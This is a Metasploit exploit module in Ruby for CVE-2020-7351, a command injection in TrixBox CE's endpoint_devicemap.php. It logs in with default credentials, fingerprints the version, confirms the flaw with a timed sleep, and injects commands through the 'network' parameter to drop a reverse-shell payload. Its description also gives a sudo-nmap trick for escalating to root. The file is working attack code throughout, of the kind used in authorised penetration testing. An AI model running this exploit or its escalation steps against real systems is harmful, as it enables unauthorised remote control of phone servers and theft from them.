##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TrixBox CE endpoint_devicemap.php Authenticated Command Execution',
        'Description' => %q{
          This module exploits an authenticated OS command injection
          vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4
          inclusive in the "network" POST parameter of the
          "/maint/modules/endpointcfg/endpoint_devicemap.php" page.
          Successful exploitation allows for arbitrary command execution
          on the underlying operating system as the "asterisk" user.
          Users can easily elevate their privileges to the "root" user
          however by executing "sudo nmap --interactive" followed by "!sh"
          from within nmap.
        },
        'Author' => [
          # Obrela Labs Team - Discovery and Metasploit module
          'Anastasios Stasinopoulos (@ancst)'
        ],
        'References' => [
          ['CVE', '2020-7351'],
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/13353'] # First ref is this module
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Payload' => { 'BadChars' => "\x00" },
        'DisclosureDate' => '2020-04-28',
        'Targets' => [
          [
            'Automatic (Linux Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            }
          ],
          [
            'Automatic (Unix In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
              'Type' => :unix_memory
            }
          ]
        ],
        'Privileged' => false,
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        OptString.new('HttpUsername', [ true, 'User to login with', 'maint']),
        OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
      ]
    )
  end

  def user
    datastore['HttpUsername']
  end

  def pass
    datastore['HttpPassword']
  end

  def get_target(res)
    version = res.body.scan(/v(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
    if version.nil?
      version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
      if version.nil?
        print_error("#{peer} - Unable to grab version of Trixbox CE installed on target!")
        return nil
      end
    end
    print_good("#{peer} - Trixbox CE v#{version} identified.")
    if Rex::Version.new(version).between?(Rex::Version.new('2.6.0.0'), Rex::Version.new('2.8.0.4'))
      @uri = normalize_uri(target_uri.path, '/maint/modules/endpointcfg/endpoint_devicemap.php')
    elsif Rex::Version.new(version).between?(Rex::Version.new('2.0.0.0'), Rex::Version.new('2.4.9.9'))
      @uri = normalize_uri(target_uri.path, '/maint/modules/11_endpointcfg/endpoint_devicemap.php')
    elsif Rex::Version.new(version).between?(Rex::Version.new('1.2.0.0'), Rex::Version.new('1.9.9.9'))
      @uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php')
    else
      return nil
    end
    return version
  end

  def login(user, pass, _opts = {})
    uri = normalize_uri(target_uri.path, '/maint/')
    print_status("#{peer} - Authenticating using \"#{user}:#{pass}\" credentials...")
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'GET',
      'authorization' => basic_auth(user, pass)
    })
    unless res
      # We return nil here, as callers should handle this case
      # specifically with their own unique error message.
      return nil
    end

    if res.code == 200
      print_good("#{peer} - Authenticated successfully.")
    elsif res.code == 401
      print_error("#{peer} - Authentication failed.")
    else
      print_error("#{peer} - The host responded with an unexpected status code: #{res.code}.")
    end
    return res
  rescue ::Rex::ConnectionError
    print_error('Caught a Rex::ConnectionError in login() method. Connection failed.')
    return nil
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'uri' => @uri,
      'method' => 'POST',
      'authorization' => basic_auth(user, pass),
      'vars_post' => {
        'network' => ";$(#{cmd})"
      }
    })
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, 'Connection failed.')
  end

  def check
    res = login(user, pass)
    unless res
      print_error("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
      return CheckCode::Detected
    end
    if res.code == 200
      version = get_target(res)
      if version.nil?
        # We don't print out an error message here as returning this will
        # automatically cause Metasploit to print out an appropriate error message.
        return CheckCode::Safe
      end

      delay = rand(7...10)
      cmd = "sleep #{delay}"
      print_status("#{peer} - Verifying remote code execution by attempting to execute '#{cmd}'.")
      t1 = Time.now.to_i
      res = execute_command(cmd)
      t2 = Time.now.to_i
      unless res
        print_error("#{peer} - Connection failed whilst trying to perform the command injection.")
        return CheckCode::Detected
      end
      diff = t2 - t1
      if diff >= delay
        print_good("#{peer} - Response received after #{diff} seconds.")
        return CheckCode::Vulnerable
      else
        print_error("#{peer} - Response wasn't received within the expected period of time.")
        return CheckCode::Safe
      end
    end
  rescue ::Rex::ConnectionError
    print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
    return CheckCode::Unknown
  end

  def exploit
    res = login(user, pass)
    unless res
      print_error("No response was received from #{peer} whilst in exploit(), check it is online and the target port is open!")
    end
    if res.code == 200
      version = get_target(res)
      if version.nil?
        print_error("#{peer} - The target is not vulnerable.")
        return false
      end
      print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
      case target['Type']
      when :unix_memory
        execute_command(payload.encoded)
      when :linux_dropper
        execute_cmdstager(linemax: 130_000)
      end
    end
  rescue ::Rex::ConnectionError
    print_error('Rex::ConnectionError caught in check(), could not connect to the target.')
    return false
  end
end
